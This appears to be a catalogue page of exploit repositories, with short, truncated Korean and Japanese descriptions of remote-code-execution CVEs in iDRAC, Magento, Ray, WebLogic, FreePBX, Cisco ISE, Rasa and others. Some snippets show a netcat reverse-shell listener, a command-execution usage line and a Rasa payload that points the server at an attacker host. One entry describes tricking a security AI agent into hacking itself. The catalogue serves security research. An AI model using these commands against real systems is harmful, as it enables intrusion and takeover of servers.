cve-2018-1207

cve-2018-1207 익스플로잇 iDRAC 7 & 8 펌웨어 2.52.52.52 설명 Dell EMC iDRAC7/iDRAC8의 2.52.52.52 이전 버전에는 원격 코드 실행에 사용될 수 있는 CGI 인젝션 취약점이 존재합니다. 원격의 인증되지 않은 공격자는 CGI 변수를 사용하여 원격 코드를 실행할 수 있습니다. 이 코드는 iDRAC 서비스가 root 사용자로 리버스 셸을 열도록 합니다. 사용 방법 로컬 리스너를 시작하십시오: nc -v -l -p localport nc -v -l -p 5500 익스플로잇을 실행하십시...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE 익스플로잇 도구 expr-eval 및 expr-eval-fork npm 패키지의 CVE-2025-12735 취약점을 탐지하고 테스트하기 위한 보안 연구 도구입니다. ⚠️ 면책 조항 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 본 도구는 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 📋 개요 CVE-2025-12735는 expr-eval 및 expr-eval-fork npm 패키지에서 발견된...

CVE-2021-21014

PoC 제한됨 CVE-2021-21014 Magento 2.4.1및 이전 버전, 2.4.0-p1및 이전 버전, 2.3.6및 이전 버전은 파일 업로드 제한 우회에 취약합니다. 성공적으로 악용하면 인증된 공격자가 임의 코드를 실행할 수 있습니다. 영향을 받는 버전: = Magento 2.4.1 사용자 요구 사항: Media gallery +- Products 권한만 있는 관리자 계정 웹 서버: Apache 2 결과: RCE 참조 https://nvd.nist.gov/vuln/detail/CVE-2021-21014...

CVE-2023-6019

CVE-2023-6019 - Anyscale Ray Dashboard 미인증 RCE CVE-2023-6019에 대한 PoC 익스플로잇 — 미인증 Ray Dashboard Jobs API를 통한 원격 코드 실행. oguiii 제작 설명 Anyscale Ray는 분산 ML/AI 워크로드를 위한 오픈소스 프레임워크입니다. 2.6.4 이전 버전 에서는 Ray Dashboard기본 포트 8265를 통해 Jobs 제출 API를 인증 없이 노출하여, 인증되지 않은 공격자가 임의의 작업을 제출하고 호스트에서 원격 코드 실행 을 달성할 수...

CVE-2025-67511

CVE-2025-67511: 보안 AI 에이전트를 속여 스스로를 해킹하게 만들기 CVE-2025-67511에 대한 Hacktive Security 블로그 게시물 블로그 게시물 링크 : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR cai-framework = 0.5.9에서 AI 에이전트가 사용할 수 있는 함수 도구 runsshcommandwithcredential...

CVE-2020-14295

CVE-2020-14295 CVE-2020-14295 개념 증명PoC입니다. 원본 게시물은 exploit-db에서 확인할 수 있습니다. 요구 사항 설치 python3 -m pip install -r requirements.txt 사용법 $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cacti 1.2.12 - SQL Injection / Remote Code Execution optional arguments: -h, --he...

CVE-2026-11645-Out-of-bounds-Read-Write

CVE-2026-11645 - Chrome V8 境界外読み取り/書き込みエクスプロイト ⚠️ 警告 このコードは教育目的および許可されたテスト専用です。 📋 説明 CVE-2026-11645 は、Google Chrome の V8 エンジンにおける境界外読み取り/書き込み OOB の脆弱性です。リモートの攻撃者は、細工された HTML ページを使用して、サンドボックス内で任意のコードを実行できる可能性があります。 技術詳細 フィールド| 値 ---|--- CVE| CVE-2026-11645 CVSS| 8.8 高 ベクター|...

CVE-2019-2729-Exploit

CVE-2019-2729-Exploit usage: oracle-weblogic-deserialize.py -h -u TARGET -c COMMAND -h, --help : 도움말 메시지를 표시하고 종료합니다. -u TARGET : 대상 URL -c COMMAND : 실행할 명령 사용 예시 python oracle-weblogic-deserialize.py -u http://192.168.1.1:8080 -c whoami YSS Payload 크레딧 https://github.com/waffl3ss/CVE-2019-2729...

CVE-2014-6271-IPFire

CVE-2014-6271 CVE-2014-6271의 Python 구현: IP Fire =2.15 ShellShock RCE 동일한 익스플로잇에 대한 Metasploit 모듈 기반 EDB ID: 34839 익스플로잇은 자동입니다. 전체 스위치 목록은 ./CVE-2014-6271.py --help를 참조하세요 경고: 이 저장소의 코드는 학술/윤리적 목적으로만 사용될 수 있습니다. 저자는 이 익스플로잇을 다른 목적으로 사용하는 것을 용납하지 않습니다 -- 이 코드는 귀하가 소유하거나 테스트 권한을 부여받은 시스템에 대해서만 사용할 ...

CVE-2026-7654

CVE-2026-7654 CVE-2026-7654 Admin Columns PHP 객체 주입 RCE 익스플로잇...

CVE-2024-12252

SEO LAT Auto Post = 2.2.1 - 원격 코드 실행 설명 WordPress용 SEO LAT Auto Post 플러그인은 2.2.1 이하 모든 버전의 remoteupdate AJAX 액션에서 capability 검사가 누락되어 파일 덮어쓰기 취약점에 노출됩니다. 이로 인해 인증되지 않은 공격자가 seo-beginner-auto-post.php 파일을 덮어쓸 수 있으며, 이를 악용하여 원격 코드 실행을 달성할 수 있습니다. 취약점 세부 정보 CVE : CVE-2024-12252 CVSS 점수 : 9.8 심각 익스플로...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX 엔드포인트 모듈 SQL 인젝션 → 원격 코드 실행 요약 FreePBX는 Asterisk PBX를 위한 오픈소스 웹 GUI로, 기업용 전화 환경에서 널리 배포됩니다. 엔드포인트 매니저 모듈은 /admin/ajax.php에서 AJAX 핸들러를 노출하며, 이 핸들러는 brand 매개변수를 받아 SQL 쿼리에 직접 삽입합니다살균 처리 없음. 인증되지 않은 원격 공격자는 임의의 SQL을 주입하고, cronjobs 테이블에 행을 삽입한 후, FreePBX cron 데몬이 웹 루트에 실행 가능한...

-CVE-2026-7465

-CVE-2026-7465 CVE-2026-7465 Spectra Gutenberg Blocks 인증된 RCE 익스플로잇...

CVE-2019-7609

CVE-2019-7609 파이썬으로 작성된 CVE-2019-7609 Kibana 익스플로잇 이 익스플로잇으로 RCE를 얻을 수 있습니다. 참고:- 이 버전은 수정된 버전입니다. 도움말 4242 포트에서 수신 대기 익스플로잇 실행 초기 액세스...

CVE-2025-32433-Exploit-edited

CVE-2025-32433 Exploit Windows 호환 Erlang/OTP SSH 인증되지 않은 원격 코드 실행 설명 이 저장소는 Erlang/OTP SSH 서버의 심각한 인증되지 않은 원격 코드 실행 취약점인 CVE-2025-32433에 대한 익스플로잇을 포함합니다. 주요 기능: ✅ 인증 전 RCE 익스플로잇 ✅ Windows GBK 인코딩 호환성 수정 ✅ Erlang/OTP 버전 ≤ 27.3.2, ≤ 26.2.5.10, ≤ 25.3.2.19에서 작동 취약점 상세 정보 CVE ID: CVE-2025-32433 심각도:...

CVE-2026-47670

CVE-2026-47670 DbGate에서 loadReader 함수명 코드 인젝션을 통한 인증된 원격 코드 실행 DbGate는 여러 데이터베이스 시스템을 동시에 다루어야 하는 개발자 및 데이터베이스 관리자를 위해 설계된 오픈 소스, 크로스 플랫폼 데이터베이스 관리 도구입니다. MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle 등을 포함한 SQL 및 NoSQL 데이터베이스를 관리할 수 있는 통합 웹 및 데스크톱 인터페이스를 제공하므로, 각기 다른 클라이언트 애플리케이션을 전환할 필...

next88

next88 - React Server Components RCE 스캐너 React Server Components RCE 취약점CVE-2025-55182 및 CVE-2025-66478을 탐지하기 위한 고성능 Go 구현체입니다. 기능 🚀 고성능 : goroutine 기반 동시성을 갖춘 컴파일된 Go 바이너리 🔍 다중 탐지 방식 : 안전한 부채널side-channel 탐지 RCE PoC 검사 WAF 우회 기법 정크 데이터, 이중 인코딩, 세미콜론 우회 Vercel 전용 WAF 우회 ACTIONID 추출을 통한 소스 코드 노출 탐...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 개념 증명 Writeup: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Python 스크립트는 인증 없이 /admin/files-upload/에서 사용 가능한 업로드 기능을 악용합니다. 스크립트는 로컬에 bin 폴더와 isehourlycron.sh라는 파일을 생성하고, Cisco ISE 설치 /opt/CSMS/bin 폴더에 위치의 원본 콘텐츠로 채웁니다파일은 base64로...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py 바로 실행하면 됩니다. python server-1.py 임의 파일 업로드 PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 결과는 다음과 같습니다: CVE-2021-41127 server-1.py 기본 모델명: evilimportmodel.tar.gz 악성 모델 데모 version: "3.1" intents: - greet responses...

CVE-2026-48907

CVE-2026-48907 — Joomla Content Editor JCE ≤ 2.9.99.4 における認証不要のRCE CVE-2026-48907 の概念実証エクスプロイト — Joomla Content Editor JCE 拡張機能における CVSS 10.0 の事前認証リモートコード実行脆弱性。 Grayxploit Security Team による研究 目次 概要 影響を受けるバージョン 脆弱性の詳細 攻撃フロー 概念実証 パッチ分析 修正方法 タイムライン 参考文献 免責事項 概要 CVE-2026-48907 は、Joomla Content Editor...